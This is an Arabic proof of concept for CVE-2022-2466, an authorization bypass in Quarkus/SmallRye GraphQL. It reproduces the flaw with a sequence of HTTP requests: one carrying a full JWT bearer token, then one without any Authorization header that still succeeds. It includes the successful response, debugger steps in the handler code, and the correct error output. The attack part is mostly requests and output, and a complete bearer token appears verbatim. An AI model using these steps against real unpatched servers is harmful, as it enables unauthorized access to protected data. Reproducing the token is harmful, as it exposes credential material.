
إثبات المفهوم لـ CVE-2022-2466 يوضح إنهاء سياق طلب GraphQL غير المصادق عليه في Quarkus/SmallRye، متجاوزًا فحوصات التفويض.
قم بتشغيل هذا مرتين
POST http://localhost:8080/graphql
Content-Type: application/graphql
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJfN3gxcGhILXpKcFpoMVFfaXAtVHRVR3dNTU52OWIyOE9Wcnczc0prU2lrIn0.eyJleHAiOjE2NTg3NTA5NjUsImlhdCI6MTY1ODc1MDY2NSwiYXV0aF90aW1lIjoxNjU4NzUwNjY0LCJqdGkiOiJkNGVhNzA5ZC01YmZkLTRjYTQtYWMzMS05MWVkNTk3YmIwOGUiLCJpc3MiOiJodHRwczovL3BwbmV4dC10ZXN0LmF3cy5yZ2lncm91cC5jb20vYXV0aC9yZWFsbXMvYWNtZXRlc3QiLCJhdWQiOiJhY2NvdW50Iiwic3ViIjoiNWE5MjdjOTctZGViMi00M2Q5LWI3OTgtODFmYjRlMTdkOTgwIiwidHlwIjoiQmVhcmVyIiwiYXpwIjoiY2xpZW50LWxvY2FsIiwibm9uY2UiOiIyZTNjYzljOC02MWI3LTQ1NDYtYmI0YS1iNTY2MTYxZmIxMWEiLCJzZXNzaW9uX3N0YXRlIjoiMWZkMmQ3ZGQtZDJlYS00NzVjLTg4ZDQtYWExZDljYTk5OTcwIiwiYWNyIjoiMSIsImFsbG93ZWQtb3JpZ2lucyI6WyIqIl0sInJlYWxtX2FjY2VzcyI6eyJyb2xlcyI6WyJvZmZsaW5lX2FjY2VzcyIsInVtYV9hdXRob3JpemF0aW9uIiwiZGVmYXVsdC1yb2xlcy1hY21ldGVzdCJdfSwicmVzb3VyY2VfYWNjZXNzIjp7ImFjY291bnQiOnsicm9sZXMiOlsibWFuYWdlLWFjY291bnQiLCJtYW5hZ2UtYWNjb3VudC1saW5rcyIsInZpZXctcHJvZmlsZSJdfX0sInNjb3BlIjoib3BlbmlkIGVtYWlsIHByb2ZpbGUiLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsInJlYWxtIjoiYWNtZXRlc3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJ1c2VyMSJ9.FSGwdLrlx7Y453mefK-wwDPe1LdkaaqNUSxKcsbWoQaZQOjmQcP5Ng8LJyQ7GIlnrziGjeSgA4EZt22Kkyz1s4hJGTkHLTz2i4k3IxPkek0NAhT7xeNVw2qBTxHIofEGJL4ZmAocXE8KzI5VeyWAXbdcYMlC5HIigPoufmFpuMq_7GfaJ5eC2W5L9tFbFYe3GT-xu8lGhuSuo4JN9cweMWRcnV2Wd6aAQepXX6M4x7_QERbWcdedmdmDGgZfMB9uX9ZUBsWXlNvTXhOA5B8oH38fwtde8fbLNPommxC3WakF8F7Z9BjI0pyCeBwk-XVnhZBtdGEd_dqjMvnzaJ7uCw
query {
exampleQuery
}
قم بتشغيل هذا
POST http://localhost:8080/graphql
Content-Type: application/graphql
query {
exampleQuery
}
يجب أن يفشل الاستعلام الثاني، لأنه لم يتم تعيين رأس Authorization. تقوم فئة JWTAwareContext برمي استثناء عندما لا توجد رؤوس تفويض.
إذا لم يحدث ذلك، فقط حاول مرة أخرى تشغيل طلب http 1 ثم طلب http 2.
بمجرد حصولك على استجابة الطلب الثاني:
HTTP/1.1 200 OK
content-type: application/graphql+json; charset=UTF-8
content-length: 34
{
"data": {
"exampleQuery": "hello!"
}
}
أدخل إلى SmallRyeGraphQLAbstractHandler في وضع التصحيح وقم بإنهاء السياق في دالة handle.
@Override
public void handle(final RoutingContext ctx) {
if (currentManagedContext.isActive()) { // قم بإنهاء السياق هنا عن طريق التقييم عبر مفتش التصحيح
handleWithIdentity(ctx);
} else {
currentManagedContext.activate();
ctx.response()
.endHandler(currentManagedContextTerminationHandler)
.exceptionHandler(currentManagedContextTerminationHandler)
.closeHandler(currentManagedContextTerminationHandler);
try {
handleWithIdentity(ctx);
} catch (Throwable t) {
currentManagedContext.terminate();
throw t;
}
}
}
بعد الإنهاء، سترجع الاستجابة الإجابة الصحيحة (خطأ نظام)
{
"errors": [
{
"message": "System error",
"locations": [
{
"line": 1,
"column": 11
}
],
"path": [
"exampleQuery"
],
"extensions": {
"classification": "DataFetchingException"
}
}
],
"data": {
"exampleQuery": null
}
}
إذا قمت بإعادة التشغيل وعكس ترتيب الطلبات، أي مرتين الطلب 2 ومرة واحدة الطلب 1، ستحصل على الخطأ بدلاً من النجاح للطلب الناجح.